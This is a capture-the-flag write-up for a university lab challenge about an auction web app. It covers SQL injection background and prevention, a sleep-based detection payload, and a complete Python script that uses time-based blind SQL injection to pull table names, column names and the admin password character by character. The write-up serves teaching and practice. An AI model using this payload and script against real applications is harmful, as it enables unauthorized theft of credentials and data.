Auction

Luigi Dell'Eva, 17/03/2024.

Background

The challenge was presented through a web application in which is hosted an auction of several items. For each item, the application provides its name, description, current price and end date.

The user, to perform a bid, has to register and log in to the application. After that, the user can place a bid on any item, through an input field, in which the amount of the bid can be entered. Additionally, 3 buttons to increase the amount of the bid by 10%, 20% and 30% are provided. Upon submission, the application performs a request to the endpoint `/product/<product_id>` using a POST method, and after confirmation, another request to the endpoint `/product/confirm/<product_id>` is performed.

SQL Injection is a type of security vulnerability that occurs when an attacker can insert malicious SQL code into a query. This can allow the attacker to view, modify, or delete data in the database, execute administration operations on the database, and even issue commands to the operating system. SQL Injection attacks are particularly dangerous because they can lead to unauthorized access to sensitive data, data manipulation, and potential system compromise. [1].

Preventing SQL injection vulnerabilities primarily involves avoiding the execution of SQL queries from application-layer code whenever possible. If SQL queries must be executed with user-supplied input, strong input validation is crucial. Among the most used techniques, are escaping user input, using prepared statements and Object-Relational Mapping (ORM) libraries. [2,3]

Vulnerability

Blind SQL Injection is a type of SQL Injection attack where the attacker cannot see the results of the SQL query directly in the application's response. Instead, the attacker has to deduce the information based on the application's behaviour. In the context of the web application, it was possible to exploit **time-based** blind SQL injection, in which the attacker injects a SQL command that causes a delay, and then observes the response time to infer whether the condition was true or false. [4]

Solution

I was able to identify that the application was vulnerable to Time-Based Blind SQL Injection by using the following payload:

```
11 AND sleep(5)
```

After the submission of this string through the bid input field, the application took 5 seconds to respond, indicating that the application was vulnerable to Time-Based Blind SQL Injection.

After that, I decided to start working on the query to retrieve the Flag using the file available at Bank Of UniTN. However, the query provided wasn't appropriate, so after researching on the web, I found a query that suited my needs [5]. It uses an `if` [6] statement to check if the selected character (using `substr` function [7]) of the found string is equal to a given character. If true, it sleeps, otherwise, it does nothing. I adjusted it to the application's context, introducing the `HEX()` function and making it iterable for each printable character and utilized it in the Python script that can be found below.

The script to work needs the **session cookie** to be set (which can be retrieved, after being logged in, through a browser plugin such as Cookie Editor) and the **URL** of the application (which is already set). To decide which query to use, you can change the content of the `offer` element in the `data` dictionary. I used `injection1` and `injection2` to retrieve respectively the table names and the column names of the table containing the user's information (adjusting the `limit offset, number_of_rows`). After that, I used `injection3` to retrieve the admin password. The script iterates through all the printable characters and retrieves the secret character by character.

```python
#!/usr/bin/env python3

import binascii
import requests
import string
import time

def string_to_hex(input_string):
    '''
    Convert a string to its hexadecimal representation
    the same way that sqlite3 HEX() function does.
    '''
    encoded_bytes = input_string.encode('utf-8')

    # Convert the bytes to hexadecimal representation
    hex_representation = binascii.hexlify(encoded_bytes).decode('utf-8')

    return hex_representation.upper()

# Your cookies here
cookies = {
    'session': '<your_session_cookie>',
}

# A session object to keep track of cookies
browser = requests.Session()

# The URL of the transfer page
url = 'http://cyberchallenge.disi.unitn.it:50050/product/6'

secret = ''
length = 1 # Used to pass to the next character when found one
while True:
    found = False
    for character in string.printable:
        # Injection for table name
        injection1 = f"11 AND if(HEX((select substr(table_name,{length},1) from information_schema.tables
where table_schema=database() limit 1,1))='{string_to_hex(character)}', sleep(1), null)"
        # Injection for columns names
        injection2 = f"11 AND if(HEX((select substr(column_name,{length},1) from information_schema.columns
WHERE table_name='user' limit 2,1))='{string_to_hex(character)}', sleep(1), null)"
        # Injection for admin password
        injection3 = f"11 AND if(HEX((select substr(password,{length},1) from user where
username='admin'))='{string_to_hex(character)}', sleep(1), null)"

        data = {
            'offer': f'{injection3}'
        }

        start_time = time.time()
        response = browser.post(url, cookies=cookies, data=data, allow_redirects=False)
        elapsed_time = time.time() - start_time

        if elapsed_time >= 1:  # Check if response time exceeds 1 seconds
            secret += character
            length += 1
            found = True
            print(f'New character found ({character}): {secret}')
            continue

    if not found:
        break

print(f'Secret: {secret}')
```

References

[1] OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection

[2] OWASP Preventing SQL injection: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

[3] Object-Relational Mapping: https://www.freecodecamp.org/news/what-is-an-orm-the-meaning-of-object-relational-mapping-database-tools/

[4] OWASP Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection

[5] SQL Query: https://www.youtube.com/watch?v=JaI09TWCAP0&t=1s

[6] IF Function MySQL: https://www.w3schools.com/mysql/func_mysql_if.asp

[7] SUBSTR Function MySQL: https://www.w3schools.com/sql/func_mysql_substr.asp